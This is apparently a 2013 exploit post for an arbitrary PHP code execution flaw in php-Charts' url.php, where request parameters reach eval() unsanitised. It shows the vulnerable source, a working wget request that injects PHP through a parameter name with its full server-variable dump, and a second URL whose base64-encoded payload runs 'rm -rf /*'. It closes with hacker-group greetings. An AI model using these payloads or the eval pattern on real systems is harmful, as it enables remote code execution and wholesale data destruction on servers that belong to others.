php-Charts 'url.php'任意PHP代码执行漏洞

root@debian:/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard# cat url.php <?php require("../lib/phpchart.class.php"); $color_var=array("txt_col","line_col","bg_color"); $cname=$_GET["type"]; $chart=new PHPChart($cname); foreach($_GET as $key=>$value) { if($value!="") { if(in_array($key,$color_var)) eval('$chart->'.$key.'="#'.$value.'";'); else if($value=='yes') eval('$chart->'.$key.'=true;'); else if($value=='no') eval('$chart->'.$key.'=false;'); else if(is_numeric($value)) eval('$chart->'.$key.'='.$value.';'); else eval('$chart->'.$key."='".$value."';"); } } $chart->genChart(); Exploitation: root@debian:/tmp# wget 'http://hacker1.own//wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY' -O out.txt && cat out.txt --2013-01-15 21:19:16-- http://hacker1.own//wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY Resolving hacker1.own... 127.0.0.1 Connecting to hacker1.own|127.0.0.1|:80... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] Saving to: “out.txt” [ <=> ] 1,917 --.-K/s in 0s 2013-01-15 21:19:17 (8.56 MB/s) - “out.txt” saved [1917] Notice: Undefined index: type in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php on line 4 array(28) { ["DOCUMENT_ROOT"]=> string(28) "/etc/apache2/htdocs/hacker1/" ["GATEWAY_INTERFACE"]=> string(7) "CGI/1.1" ["HTTP_ACCEPT"]=> string(3) "*/*" ["HTTP_CLIENT_IP"]=> string(9) "127.0.0.1" ["HTTP_HOST"]=> string(11) "hacker1.own" ["HTTP_USER_AGENT"]=> string(21) "Wget/1.12 (linux-gnu)" ["HTTP_VIA"]=> string(77) "http/1.0 debian[FE800000000000000A0027FFFE077FC6] (ApacheTrafficServer/3.2.0)" ["HTTP_X_FORWARDED_FOR"]=> string(9) "127.0.0.1" ["PATH"]=> string(4) "/bin" ["PHPRC"]=> string(14) "/etc/php5/cgi/" ["QUERY_STRING"]=> string(45) "$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY" ["REDIRECT_STATUS"]=> string(3) "200" ["REMOTE_ADDR"]=> string(9) "127.0.0.1" ["REMOTE_PORT"]=> string(5) "60830" ["REQUEST_METHOD"]=> string(3) "GET" ["REQUEST_URI"]=> string(76) "/wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY" ["SCRIPT_FILENAME"]=> string(57) "/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php" ["SCRIPT_NAME"]=> string(30) "/wp/chart/chart/wizard/url.php" ["SERVER_ADDR"]=> string(9) "127.0.0.1" ["SERVER_ADMIN"]=> string(21) "webmaster@hacker1.own" ["SERVER_NAME"]=> string(11) "hacker1.own" ["SERVER_PORT"]=> string(2) "80" ["SERVER_PROTOCOL"]=> string(8) "HTTP/1.1" ["SERVER_SIGNATURE"]=> string(0) "" ["SERVER_SOFTWARE"]=> string(6) "Apache" ["UNIQUE_ID"]=> string(24) "UPYOJH8AAQEAAE8eNfMAAAAC" ["PHP_SELF"]=> string(30) "/wp/chart/chart/wizard/url.php" ["REQUEST_TIME"]=> int(1358302756) } Notice: Undefined variable: in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1 Fatal error: Cannot access empty property in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1 root@debian:/tmp# Example 2: http://hacker1.own//wp/chart/chart/wizard/url.php?&123&${var_dump(system(base64_decode(cm0gLXJmIC8q)))}=123456LoL =====================ENDS HERE============================ ================================================ KUDOSSSSSSS ================================================ packetstormsecurity.org packetstormsecurity.com packetstormsecurity.net securityfocus.com cxsecurity.com security.nnov.ru securtiyvulns.com securitylab.ru secunia.com securityhome.eu exploitsdownload.com osvdb.com websecurity.com.ua 1337day.com to all Aa Team + to all Azerbaijan Black HatZ + *Especially to my bro CAMOUFL4G3 * To All Turkish Hackers Also special thanks to: ottoman38 & HERO_AZE ================================================ /AkaStep